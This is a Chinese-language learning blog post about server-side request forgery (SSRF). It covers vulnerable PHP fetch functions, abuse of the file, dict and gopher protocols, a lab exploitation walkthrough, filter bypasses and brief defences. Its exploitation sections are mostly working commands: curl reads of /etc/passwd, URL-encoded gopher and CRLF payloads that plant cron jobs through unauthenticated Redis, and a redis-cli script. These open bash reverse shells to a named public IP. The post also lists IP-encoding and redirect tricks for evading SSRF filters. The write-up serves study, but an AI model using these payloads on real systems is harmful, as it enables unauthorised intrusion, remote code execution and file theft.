0x00 前言
學過CSRF漏洞后,收獲頗多。同時發現SSRF漏洞和CSRF漏洞有一點點類似之處。
CSRF跨站請求偽造,基於客戶端的請求偽造;SSRF服務器端請求偽造,基於服務端的請求偽造。
因為SSRF還沒學習,所以還是先走上SSRF漏洞的學習之路吧!
0x01 SSRF漏洞簡介
1.SSRF漏洞概述
SSRF(Server-Side Request Forgery:服務器端請求偽造) 是一種由攻擊者構造形成由服務端發起請求的一個安全漏洞。
一般情況下,SSRF攻擊的目標是從外網無法訪問的內部系統
。(因為它是由服務端發起的,所以它能夠請求到與它相連而與外網隔離的內網。也就是說可以利用一個網絡請求的服務,當作跳板進行攻擊)
2.SSRF漏洞產生原因
SSRF 形成的原因往往是由於服務端提供了從其他服務器應用獲取數據的功能且沒有對目標地址做過濾與限制。
如:從指定URL地址獲取網頁文本內容,加載指定地址的圖片,下載等。利用的就是服務端的請求偽造。ssrf是利用存在缺陷的web應用作為代理
攻擊遠程和本地的服務器。
3.容易出現SSRF的地方
- 轉碼服務
- 在線翻譯
- 圖片加載與下載(通過URL地址加載或下載圖片)
- 圖片、文章收藏功能
- 網站采集、網頁抓取的地方。
- 頭像的地方。(遠程加載頭像)
- 一切要你輸入網址的地方和可以輸入ip的地方。
- 從URL關鍵字中尋找:
share
、wap
、url
、link
、src
、source
、target
、u
、3g
、display
、sourceURl
、imageURL
、domain
...
4.利用SSRF可以實現的攻擊
- 可以對外網、服務器所在內網、本地進行端口掃描,獲取一些服務的banner 信息
- 攻擊運行在內網或本地的應用程序
- 對內網 WEB 應用進行指紋識別,通過訪問默認文件實現(如:readme文件)
- 攻擊內外網的 web 應用,主要是使用 GET 參數就可以實現的攻擊(如:Struts2,sqli)
- 下載內網資源(如:利用
file
協議讀取本地文件等) - 進行跳板
- 無視cdn
- 利用Redis未授權訪問,HTTP CRLF注入實現getshell
0x02 SSRF漏洞相關函數和協議
1.函數file_get_contents()
、fsockopen()
、curl_exec()
、fopen()
、readfile()
等函數使用不當會造成SSRF漏洞
(1)file_get_contents()
<?php
$url = $_GET['url'];; echo file_get_contents($url); ?>
file_get_content
函數從用戶指定的url獲取內容,然后指定一個文件名j進行保存,並展示給用戶。file_put_content函數把一個字符串寫入文件中。
(2)fsockopen()
<?php
function GetFile($host,$port,$link) { $fp = fsockopen($host, intval($port), $errno, $errstr, 30); if (!$fp) { echo "$errstr (error number $errno) \n"; } else { $out = "GET $link HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n"; $out .= "\r\n"; fwrite($fp, $out); $contents=''; while (!feof($fp)) { $contents.= fgets($fp, 1024); } fclose($fp); return $contents; } } ?>
fsockopen
函數實現對用戶指定url數據的獲取,該函數使用socket(端口)跟服務器建立tcp連接,傳輸數據。變量host為主機名,port為端口,errstr表示錯誤信息將以字符串的信息返回,30為時限
(3)curl_exec()
<?php
if (isset($_POST['url'])){ $link = $_POST['url']; $curlobj = curl_init();// 創建新的 cURL 資源 curl_setopt($curlobj, CURLOPT_POST, 0); curl_setopt($curlobj,CURLOPT_URL,$link); curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 設置 URL 和相應的選項 $result=curl_exec($curlobj);// 抓取 URL 並把它傳遞給瀏覽器 curl_close($curlobj);// 關閉 cURL 資源,並且釋放系統資源 $filename = './curled/'.rand().'.txt'; file_put_contents($filename, $result); echo $result; } ?>
curl_exec
函數用於執行指定的cURL會話
注意
1.一般情況下PHP不會開啟fopen的gopher wrapper
2.file_get_contents的gopher協議不能URL編碼 3.file_get_contents關於Gopher的302跳轉會出現bug,導致利用失敗 4.curl/libcurl 7.43 上gopher協議存在bug(%00截斷) 經測試7.49 可用 5.curl_exec() //默認不跟蹤跳轉, 6.file_get_contents() // file_get_contents支持php://input協議
2.協議
(1)file
: 在有回顯的情況下,利用 file 協議可以讀取任意內容
(2)dict
:泄露安裝軟件版本信息,查看端口,操作內網redis服務等
(3)gopher
:gopher支持發出GET、POST請求:可以先截獲get請求包和post請求包,再構造成符合gopher協議的請求。gopher協議是ssrf利用中一個最強大的協議(俗稱萬能協議)。可用於反彈shell
(4)http/s
:探測內網主機存活
0x03 SSRF漏洞利用
本地利用
以curl舉例,查看 curl 支持的協議列表 curl -V
。本地利用方式:
(1)使用file協議 file protocol (任意文件讀取)
curl -vvv 'file:///etc/passwd'
(2)使用dict協議 dict protocol (獲取Redis配置信息)
curl -vvv 'dict://127.0.0.1:6379/info'
(3)使用gopher協議(俗稱萬能協議) gopher protocol (一鍵反彈Bash)
curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/4444 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'
遠程利用
1、環境
攻擊機ip:192.168.201.129、121.36.67.230
攻擊機:Kali、公網服務器
遠程服務器ip:39.x.x.x
docker鏡像:ssrf_redis
PHP版本:PHP Version 7.2.28(5.6版本測試會失敗)
至於我為什么在遠程服務器上部署服務,並在公網服務器上接收反彈shell?
是因為我認為這樣可以更真實的模擬真實環境。有利於自己更深刻的理解SSRF漏洞。
2、遠程利用示例代碼
ssrf.php
<?php
$ch = curl_init(); //創建新的 cURL 資源 curl_setopt($ch, CURLOPT_URL, $_GET['url']); //設置URL 和相應的選項 #curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_HEADER, 0); #curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); curl_exec($ch); //抓取 URL 內容並把它傳遞給瀏覽器,存儲進文件 curl_close($ch); ////關閉 cURL 資源,並且釋放系統資源 ?>
post.php
<html>
<head> <title>post</title> </head> <body> <?php echo $_REQUEST[cmd]; ?> </body> </html>
3、遠程利用方式
1.利用file
協議
任意文件讀取
curl -v 'http://39.x.x.x:8000/ssrf.php?url=file:///etc/passwd'
2.利用dict
協議
(1)查看端口及端口上運行服務的版本信息
curl -v 'http://39.x.x.x:8000/ssrf.php?url=dict://127.0.0.1:22/'
說明22端口開放
(2)通過dict協議getshell
有關dict協議:向服務器的端口請求 命令:參數,並在末尾自動補上\r\n
(CRLF)。
dict協議要一條一條的執行,而gopher協議執行一條命令就行了。
一條一條的執行就可以了。
3.利用gopher
協議
(1)攻擊內網redis並反彈shell
利用redis未授權訪問攻擊redis攻擊redis的exp
echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/121.36.67.230/5555 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1 redis-cli -h $1 -p $2 config set dir /var/spool/cron/ redis-cli -h $1 -p $2 config set dbfilename root redis-cli -h $1 -p $2 save redis-cli -h $1 -p $2 quit
bash shell.sh 39.x.x.x 6379
從而捕獲到數據,並進行轉換
轉換規則如下:
如果第一個字符是>
或者<
那么丟棄該行字符串,表示請求和返回的時間。
如果前3個字符是+OK 那么丟棄該行字符串,表示返回的字符串。
將\r
字符串替換成%0d%0a
空白行替換為%0a
結合gopher協議攻擊內網redis,使用上邊捕獲數據的轉換結果即可,然后進行反彈shell:
curl -v 'http://39.x.x.x:8000/ssrf.php?url=gopher://192.168.1.4:6379/_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f121.36.67.230%2f5555%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'
反彈成功http://39.x.x.x:8000/ssrf.php
是存在SSRF漏洞的Web服務192.168.1.4
是redis應用所在內網ip121.36.67.230
是公網服務器,接收反彈shell
(2)偽造post請求反彈shell
curl -v 'http://39.x.x.x:8000/ssrf.php?url=gopher://192.168.1.5:80/_POST%20/post.php%20HTTP/1.1%250d%250aHost:%2039.105.93.165%250d%250aUser-Agent:%20curl/7.58.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd%3Dccccc%250d%250a%250d%250abash%20-i%20%3E%26%20%2fdev%2ftcp%2f121.36.67.230%2f4444%200%3E%261'
反彈成功192.168.1.5
是內網Web服務,有post.php
4 .利用http/s
協議
探測內網主機存活
說明內網ip為192.168.1.3
的主機存活
0x04 SSRF攻擊應用實戰
1、gopher攻擊redis
參考遠程利用 3.利用gopher
協議
2、weblogic ssrf攻擊redis
下載地址:https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf
編譯並啟動環境
docker-compose build
docker-compose up -d
SSRF漏洞存在於http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
1.查看端口
訪問
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:80
//測試http://127.0.0.1:7001:將80替換成7001
not connect,說明80端口未開放
返回404,說明端口開放
2.探測內網主機存活
說明內網ip為192.168.1.1
的主機存活
3.注入HTTP頭,利用Redis反彈shell
通過ssrf探測內網中的redis服務器,發現172.22.0.2:6379可以連通
和上邊的遠程利用幾乎一樣。
將反彈shell腳本寫入/etc/crontab定時任務
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/121.36.67.230/4444 0>&1\n\n\n\n" config set dir /etc/ config set dbfilename crontab save
進行url編碼
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F121.36.67.230%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
換行符是“\r\n”換成“%0D%0A”。將url編碼后的字符串放在ssrf的域名后面,發送
反彈成功
0x05 SSRF漏洞相關繞過
1、常用繞過方法
1.@
http://abc@127.0.0.1
實際上是以用戶名abc連接到站點127.0.0.1,同理 http://8.8.8.8@127.0.0.1:8080、http://127.0.0.1#8.8.8.8
在對@解析域名中,不同的處理函數存在處理差異,如:http://www.aaa.com@www.bbb.com@www.ccc.com
在PHP的parse_url
中會識別www.ccc.com,而libcur
l則識別為www.bbb.com
2.利用[::]
可以利用[::]
來繞過localhost
http://[::]:80/ >>> http://127.0.0.1
3.添加端口號
http://127.0.0.1:8080
4.利用短網址
站長工具短網址
百度短網址
5.利用特殊域名
原理是DNS解析。xip.io可以指向任意域名,即
127.0.0.1.xip.io,可解析為127.0.0.1
6.利用DNS解析
在域名上設置A記錄,指向127.0.1
7.利用進制轉換
127.0.0.1
八進制:0177.0.0.1
十六進制:0x7f.0.0.1
十進制:2130706433
8.句號
127。0。0。1 >>> 127.0.0.1
9.302跳轉
使用https://tinyurl.com生成302跳轉地址
2、常見限制
1.限制為http://www.xxx.com 域名
采用http基本身份認證的方式繞過。即@http://www.xxx.com@www.xxc.com
2.限制請求IP不為內網地址
當不允許ip為內網地址時
(1)采取短網址繞過
(2)采取特殊域名
(3)采取進制轉換
3.限制請求只為http協議
(1)采取302跳轉
(2)采取短地址
0x06 SSRF漏洞防御
1、禁用不需要的協議(如:file:///
、gopher://
,dict://
等)。僅僅允許http和https請求
2、統一錯誤信息,防止根據錯誤信息判斷端口狀態
3、禁止302跳轉,或每次跳轉,都檢查新的Host是否是內網IP,直到抵達最后的網址
4、設置URL白名單或者限制內網IP
0x07 后記
在SSRF漏洞的學習過程中,遇到了一些問題,比如反彈shell到公網服務器,折騰了許久。不過最終克服了問題。同時,通過SSRF漏洞的學習,發現SSRF漏洞果然比CSRF漏洞的利用的局限性要小,並且SSRF漏洞的對內網的一些應用危害比較大。所以在開發過程中,要盡量避免產生SSRF漏洞。
參考博客:
SSRF 漏洞學習
SSRF——weblogic vulhub 漏洞復現及攻擊內網redis(一)
ssrf攻擊內網應用
SSRF繞過方法總結